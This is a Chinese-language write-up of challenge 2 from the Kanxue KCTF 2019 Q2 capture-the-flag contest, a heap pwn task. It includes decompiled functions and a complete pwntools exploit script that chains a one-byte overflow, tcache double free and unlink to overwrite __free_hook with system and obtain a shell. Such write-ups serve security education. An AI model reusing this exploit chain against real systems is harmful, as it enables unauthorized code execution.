看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路

Editor發表於2019-07-01


2019年的夏天,高考結束,成績已出,莘莘學子開始懷抱憧憬填大學志願。我們看雪紐盾KCTF第二賽段經過長達十四天的激烈比拼,也落下帷幕。現在到了揭曉答案的時刻。


神秘來信和金字塔的詛咒題目解析我們已於看雪學院公眾號平臺放出,今天就讓我們一起來看下第二題,一起去喚醒沉睡的敦煌~


題目簡介


帶著信中的提示,你隻身來到敦煌。冷風蕭索,漫天黃沙起,落日的光輝將天空映照成了昏黃色,莫高窟的輪廓在你的眼前若隱若現。


鳴沙山東麓斷崖上,大大小小的洞窟高低錯落、鱗次櫛比,沿著斷崖綿延不絕,像是趴在斷崖上沉睡的巨龍。一尊尊佛像靜靜的坐在黑暗的洞窟中,牆壁上是一幅幅精美的壁畫,演繹著人類的前塵往事。


燦爛文明璀璨如星河,怎想到如今竟面臨被外星人滅絕的境地?這顆寶石究竟在哪一個洞窟中?但願佛祖能給你指引......


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


本題圍觀人數為2147人,人氣頗高,攻破人數和一三兩道題相比減少好多,數量為16人,看來越往後面題目難度就越大了,戰士們,頂住壓力,奮勇前行。


攻破此題的戰隊排名一覽:


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


看雪評委crownless點評


第二題是一道較為常規的堆利用題。考察的知識點是unlink+堆溢位功能分析。但是完整的利用鏈比較複雜。設計較為精巧。


設計思路


本題出題戰隊404gg隊:


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


設計思路


常規堆題。簡單直接的功能題,malloc,free,edit,show功能。同樣直接的堆單位元組溢位。知識點unlink+堆溢位。


功能分析:


show功能預設不可用。

edit功能預設可用一次。

malloc功能申請0x30大小堆塊。單位元組溢位。在程式init時提前申請了一個堆塊。之後malloc功能申請出的地址必須在此堆塊地址附近。直接給出heap地址。


利用思路


1. 申請足夠數量堆塊。溢位改寫附近堆塊大小為0xc0。free填充tcache連結串列。

2. 使用堆地址陣列最後一個索引進行unlink操作。

3. 此時edit只能寫到控制show和edit功能key地址相鄰位置。在key上方偽造堆塊。size為heap-偽造堆塊地址。free此堆塊進入unsorted bin連結串列。fd指標覆蓋key。

4. show和edit可用 show洩露libc。edit修改free_hook為system。


解題思路


本題解題思路由看雪論壇jackandkx提供:

看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路

0x0 checksec

基地址固定

[*] '/home/abc/Desktop/kctf_Q2_2/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x1 程式分析

程式開始呼叫了alram,為了便於除錯,需要nop掉。同時malloc一塊小記憶體,並儲存了其地址作為地址邊界。

unsigned __int64 setup()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 1, 0LL);
alarm(0x3Cu);
bound = (__int64)malloc(0x30uLL);
return __readfsqword(0x28u) ^ v0;
}

實現了malloc,free,edit,show 4個常見功能,只能edit一次,show預設是不能使用的。

abc@abc-vm:~/Desktop/kctf_Q2_2$ ./pwn
1.malloc
2.free
3.edit
4.show


edit:

unsigned __int64 edit()
{
void *v0; // ST10_8
int v2; // [rsp+Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( edit_cnt == 1 )
exit(0);
puts("index:");
v2 = read_option();
if ( v2 < 0 || v2 > 31 || !ptr[v2] )
exit(0);
puts("content:");
v0 = ptr[v2];
read(0, ptr[v2], 0x28uLL);
++edit_cnt;
return __readfsqword(0x28u) ^ v3;
}

show:

unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( admin )
{
puts("index:");
v1 = read_option();
if ( v1 < 0 || v1 > 31 || !ptr[v1] )
exit(0);
puts((const char *)ptr[v1]);
}
else
{
puts("only admin can use");
}
return __readfsqword(0x28u) ^ v2;
}

儲存記憶體邊界,指標陣列,編輯次數和admin的全域性變數的記憶體佈局:(後面漏洞利用時能發現這佈局是作者精心佈置的)。

.bss:0000000000404040 stderr dq ? ; DATA XREF: LOAD:00000000004004A0↑o
.bss:0000000000404040 ; setup+53↑r
.bss:0000000000404040 ; Copy of shared data
.bss:0000000000404048 padding dq 3 dup(?) ; DATA XREF: sub_401180↑r
.bss:0000000000404048 ; sub_401180+12↑w
.bss:0000000000404060 bound dq ? ; DATA XREF: ctf_malloc+71↑r
.bss:0000000000404060 ; ctf_malloc+7E↑r ...
.bss:0000000000404068 padding_0 dq 3 dup(?)
.bss:0000000000404080 ; void *ptr[33]
.bss:0000000000404080 ptr dq 20h dup(?) ; DATA XREF: ctf_malloc+49↑o
.bss:0000000000404080 ; ctf_malloc+AD↑o ...
.bss:0000000000404180 padding_1 dq ?
.bss:0000000000404188 admin dd ? ; DATA XREF: show+17↑r
.bss:000000000040418C edit_cnt dd ? ; DATA XREF: edit+17↑r

0x3 漏洞

很明顯的一處漏洞,malloc函式中,有一個位元組的溢位。

unsigned __int64 ctf_malloc()
{
int idx; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("index:");
idx = read_option();
if ( idx < 0 || idx > 31 || ptr[idx] )
exit(0);
v2 = malloc(0x28uLL);
if ( (signed __int64)v2 < bound || (signed __int64)v2 > bound + 2048 )
exit(0);
ptr[idx] = v2;
printf("gift: %llx\n", ptr[idx]);
puts("content:");
read(0, ptr[idx], 0x29uLL);
return __readfsqword(0x28u) ^ v3;
}

由於的malloc預設大小為0x28,所以溢位的一個位元組剛好能覆蓋下一個chunk的size域的最低位元組。

0x4 利用思路

看到基址固定,而且全域性變數有堆指標,很容易就能想到unlink。unlink在論壇以前的比賽中出過好幾次了。


簡要的說就是,偽造一個已經free掉的chunk,然後free這個chunk高地址相鄰的另一個偽造的chunk,這兩個chunk的合併過程中會把低地址的chunk從雙向連結串列中摘除。


為了繞過unlink的check,假設存在一個指向低地址chunk的指標P,把低地址chunk的fd和bk分別設為&P-0x18和&P-0x10就能繞過檢測。unlink後,P被改寫為&P-0x18。同時,兩個偽造的chunk合併起來進入unsorted bin。


unlink的詳細分析可以參考下面兩位dalao的文章:


[原創]看雪.Wifi萬能鑰匙 CTF 2017 第4題Writeup---double free解法
堆溢位漏洞簡介

然鵝,這題半路偷偷改過一次,改之前的edit的限制次數是兩次,所以只要unlink後edit兩次就能改到admin和editcnt的值,之後就能隨意任意地址的讀寫了。

改之後,edit限制為一次,利用起來就麻煩多了。


需要用到另一種堆漏洞利用技術:tcache的double free來malloc出任意地址。類似於fastbin的double free,但比fastbin的限制要少(不檢查size域)。


要觸發double free,要先得到兩個同樣的指標。操作步驟如下:

#5 and 11 point to the same location
# 此前0x90的tcache已經填滿
malloc(1,'1')
malloc(3,'3')
malloc(5,'5')
malloc(7,'7')
malloc(9,'9') # avoid merge with the top chunk
free(1)
malloc(1,'1'*0x28+'\x91') #overflow the 3rd chunk's size
free(3)
malloc(3,'3')
malloc(11,'11')
p13 = malloc(13,'13')

然鵝這樣還是不能分配出任意地址,原因是malloc中的邊界檢測:


boundary是程式最開始malloc返回的堆地址:

p = malloc(0x28uLL);
if ( (signed __int64)p < bound || (signed __int64)p > bound + 2048 )
exit(0);

完整的利用鏈比較繁雜,簡要敘述如下:

1. 填滿0x90的tcache

2. tcache double free後,malloc出boundary的地址

3. 在boundary處偽造給unlink預備的chunkA

4. 偽造unlink需要的chunkB

5. tcache double free後,準備malloc出存放堆指標陣列的地址(但是先不malloc,因為此時不在boundary範圍內,會失敗)

6. free(chunkB),觸發unlink,改寫boundary為&boundary-0x18

7. 把堆指標陣列的地址malloc出來(此時繞過了boundary的check),修改editcnt和admin的值

8. 然後就能隨意show和edit了

9. got表洩露libc,修改__free_hook為system,然後free一個內容為"/bin/sh\x00"的堆塊,得到shell


0x5 完整EXP

from pwn import *
import pdb

libc = ELF('./libc-2.27xx.so')

env = {'LD_PRELOAD':'./libc-2.27xx.so'}
p = process('./pwn',env=env)

# p = remote('152.136.18.34',10001)

def menu():
p.recvuntil('4.show\n')

def malloc(idx,content='\xff'):
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(idx))
s = p.recvuntil('\n')[6:-1]
# # log.info(s)
p.recvuntil('content:\n')
p.send(content)
menu()
return int(s,16)

def free(idx):
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(idx))
menu()

def edit(idx,content):
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(idx))
p.recvuntil('content:\n')
p.send(content)
menu()

def show(idx):
p.sendline('4')
p.recvuntil('index:\n')
p.sendline(str(idx))
s = p.recvuntil('show\n')
return s


menu()

#0~13
for i in range(7):
malloc(2*i,str(2*i))
malloc(2*i+1,str(2*i+1))
free(2*i)
malloc(2*i,'x'*0x28+'\x91')

for i in range(7):
free(2*i+1)

#5 and 11 point to the same location
malloc(1,'1')
malloc(3,'3')
malloc(5,'5')
malloc(7,'7')
malloc(9,'9')
free(1)
malloc(1,'1'*0x28+'\x91')
free(3)
malloc(3,'3')
malloc(11,'11')
p13 = malloc(13,'13')
malloc(14)

boundary = p13-0x370
print(hex(boundary))
pbound_addr = 0x404060

free(14)
free(11)
free(13)
free(5)

malloc(5,p64(boundary))
malloc(13)
malloc(11)

#return boundary
malloc(14,'x'*8+p64(0x421)+p64(pbound_addr-0x18)+p64(pbound_addr-0x10))

malloc(15)
p16 = malloc(16)
print(hex(p16))
malloc(17)
malloc(18)
malloc(19)
free(15)
malloc(15,'x'*0x20+p64(0x420)+'\x90')

# free(16)

#22 and 26 point same
malloc(20)
malloc(21)
malloc(22)
malloc(23)
malloc(24)
free(20)
malloc(20,'x'*0x28+'\x91')
free(21)
malloc(25)
malloc(26)
malloc(27)
malloc(28)
malloc(29,'/bin/sh\x00')
free(28)
free(22)
free(27)
free(26)

p_mem30 = 0x404170
malloc(26,p64(p_mem30))
malloc(27)
malloc(22)

free(16)

got_puts = 0x403FA8

#ret mem
malloc(28,p64(got_puts)+p64(p_mem30)+'\x77'*0x10)

s = show(30)[:6]
puts_addr = u64(s+'\x00'*2)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print('libc:',hex(libc_base))

edit(31,p64(free_hook))
edit(30,p64(system_addr))

p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(29))

p.interactive()


精彩回顧:

1、看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路

2、看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路


主辦方


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


看雪學院(http://www.kanxue.com)是一個專注於PC、移動、智慧裝置安全研究及逆向工程的開發者社群!建立於2000年,歷經19年的發展,受到業內的廣泛認同,在行業中樹立了令人尊敬的專業形象。平臺為會員提供安全知識的線上課程教學,同時為企業提供智慧裝置安全相關產品和服務。


合作伙伴


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


上海紐盾科技股份有限公司(http://www.newdon.net)成立於2009年,是一家以“網路安全”為主軸,以“科技源自生活,紐盾服務社會”為核心經營理念,以網路安全產品的研發、生產、銷售、售後服務與相關安全服務為一體的專業安全公司,致力於為數字化時代背景下的使用者提供安全產品、安全服務以及等級保護等安全解決方案。


看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路


詳情連結: https://www.bagevent.com/event/2195041




相關文章